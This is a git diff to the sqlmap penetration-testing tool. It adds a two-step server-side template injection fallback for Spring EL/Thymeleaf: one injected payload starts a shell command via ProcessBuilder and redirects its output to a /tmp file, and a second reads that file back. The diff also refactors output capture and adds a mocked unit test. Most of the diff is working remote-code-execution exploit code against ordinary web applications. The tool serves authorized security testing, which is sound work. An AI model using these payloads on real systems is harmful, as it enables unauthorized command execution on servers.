diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 5642709245f..addf84a4643 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -1837,7 +1837,7 @@
-
+
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 343e8e806d1..ef706ccadb9 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.63"
+VERSION = "1.10.7.65"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py
index 736a70b5166..d8d6a283b24 100644
--- a/lib/techniques/ssti/inject.py
+++ b/lib/techniques/ssti/inject.py
@@ -684,6 +684,78 @@ def _canTakeover(engine, evidence):
return True
+# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
+# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
+# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
+# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
+# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
+_FILE_RCE = {
+ "Spring EL / Thymeleaf": (
+ "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}",
+ "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
+ ),
+}
+
+
+def _commandOutput(page, baseline, original, payload, engine):
+ """Extract genuine command output from a response via baseline diff, rejecting error pages and
+ reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
+ if not page:
+ return None
+ if engine.errorRegex and _isError(page, engine):
+ return None
+
+ text = getUnicode(page)
+ baseText = getUnicode(baseline or "")
+ output = ""
+
+ if baseText and text != baseText:
+ sm = difflib.SequenceMatcher(None, baseText, text)
+ parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")]
+ if parts:
+ output = "".join(parts).strip()
+
+ if not output:
+ output = text
+ if original and output.startswith(original):
+ output = output[len(original):]
+ output = output.strip()
+
+ # A template that ECHOED our payload directive instead of executing it is reflection, not output.
+ if output and output in payload:
+ return None
+
+ if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
+ if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
+ return output
+
+ return None
+
+
+def _fileRceCapture(place, parameter, engine, original, cmd, extract):
+ """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
+ (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
+ callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
+ so the read is retried a few times. Returns whatever 'extract' yields, else None."""
+ spec = _FILE_RCE.get(engine.name)
+ if not spec:
+ return None
+
+ execTemplate, readTemplate = spec
+ outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
+ execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
+ _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored
+
+ readPayload = readTemplate.replace("{OUTFILE}", outFile)
+ for _ in range(3):
+ page = _send(place, parameter, original + readPayload)
+ result = extract(readPayload, page)
+ if result is not None:
+ return result
+ time.sleep(1)
+ return None
+
+
def _probeRce(place, parameter, engine):
"""Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and
return True if the marker is reflected (proving OS command execution is reachable). Used only
@@ -699,12 +771,16 @@ def _probeRce(place, parameter, engine):
page = _send(place, parameter, original + payload)
if page and marker in getUnicode(page):
return True
- return False
+
+ # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
+ return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
+ lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))
def _executeCommand(place, parameter, engine, cmd):
- """Execute an OS command via the engine's RCE payloads, trying each fallback
- in order until one produces output. Captures output via baseline diff."""
+ """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
+ produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
+ Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""
safeCmd = _escapeSingleQuoted(cmd)
original = _originalValue(place, parameter) or ""
@@ -712,49 +788,16 @@ def _executeCommand(place, parameter, engine, cmd):
for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", safeCmd)
- fullPayload = original + payload
- page = _send(place, parameter, fullPayload)
-
- if not page:
- continue
-
- # Skip error pages (payload caused a template exception, not a shell)
- if engine.errorRegex and _isError(page, engine):
- continue
-
- text = getUnicode(page)
- baseText = getUnicode(baseline or "")
- output = ""
-
- if baseText and text != baseText:
- sm = difflib.SequenceMatcher(None, baseText, text)
- opcodes = sm.get_opcodes()
- parts = []
- for tag, i1, i2, j1, j2 in opcodes:
- if tag in ("insert", "replace"):
- parts.append(text[j1:j2])
- if parts:
- output = "".join(parts).strip()
-
- if not output:
- output = text
- if original and output.startswith(original):
- output = output[len(original):]
- output = output.strip()
-
- # A template that ECHOED our payload directive instead of executing it (e.g. a patched or
- # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
- # output: reject it so the loop falls through to the honest "no output received" warning
- # instead of presenting a reflected payload fragment as a fake command result.
- if output and output in payload:
- continue
-
- # Suppress when output is just the baseline with the original value removed
- # (command produced no output; the template rendered empty)
- # Filter out template error messages masquerading as command output
- if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
- if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
- conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
- return
+ page = _send(place, parameter, original + payload)
+ output = _commandOutput(page, baseline, original, payload, engine)
+ if output is not None:
+ conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
+ return
+
+ output = _fileRceCapture(place, parameter, engine, original, cmd,
+ lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
+ if output is not None:
+ conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
+ return
- logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))
+ logger.warning("no output received for OS command '%s'" % cmd)
diff --git a/tests/test_ssti.py b/tests/test_ssti.py
index 8a5e15e9a4d..d8a3aadaea2 100644
--- a/tests/test_ssti.py
+++ b/tests/test_ssti.py
@@ -575,3 +575,44 @@ def test_mako_distinguished_from_freemarker_spring(self):
result, evidence = ssti._fingerprint("GET", "q")
self.assertEqual(result.name, "Mako")
self.assertTrue(evidence.get("boolean"))
+
+
+class TestFileBasedRce(unittest.TestCase):
+ """Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs
+ reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile
+ then read-file must still recover the command output."""
+
+ def setUp(self):
+ from lib.core.data import conf
+ self._send = ssti._send
+ self._dumper = conf.dumper
+ captured = self.captured = []
+
+ class _Dumper(object):
+ def singleString(self, text, **kwargs):
+ captured.append(text)
+
+ conf.dumper = _Dumper()
+
+ def tearDown(self):
+ from lib.core.data import conf
+ ssti._send = self._send
+ conf.dumper = self._dumper
+
+ def test_spel_output_via_file_when_inband_blocked(self):
+ engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf")
+ self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback
+
+ def mock(place, parameter, value):
+ if "ProcessBuilder" in value: # exec step: launches (render error, ignored)
+ return "org.springframework.expression.spel.SpelEvaluationException: EL1001E"
+ if "readAllBytes" in value: # read step: the temp file's content
+ return "Hello uid=0(root) gid=0(root)"
+ if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK
+ return "org.springframework.expression.spel.SpelEvaluationException: EL1029E"
+ return "Hello " # baseline / original value
+
+ ssti._send = mock
+ ssti._executeCommand("GET", "q", engine, "id")
+ self.assertTrue(any("uid=0(root)" in _ for _ in self.captured),
+ msg="two-step file-based RCE did not surface command output: %r" % self.captured)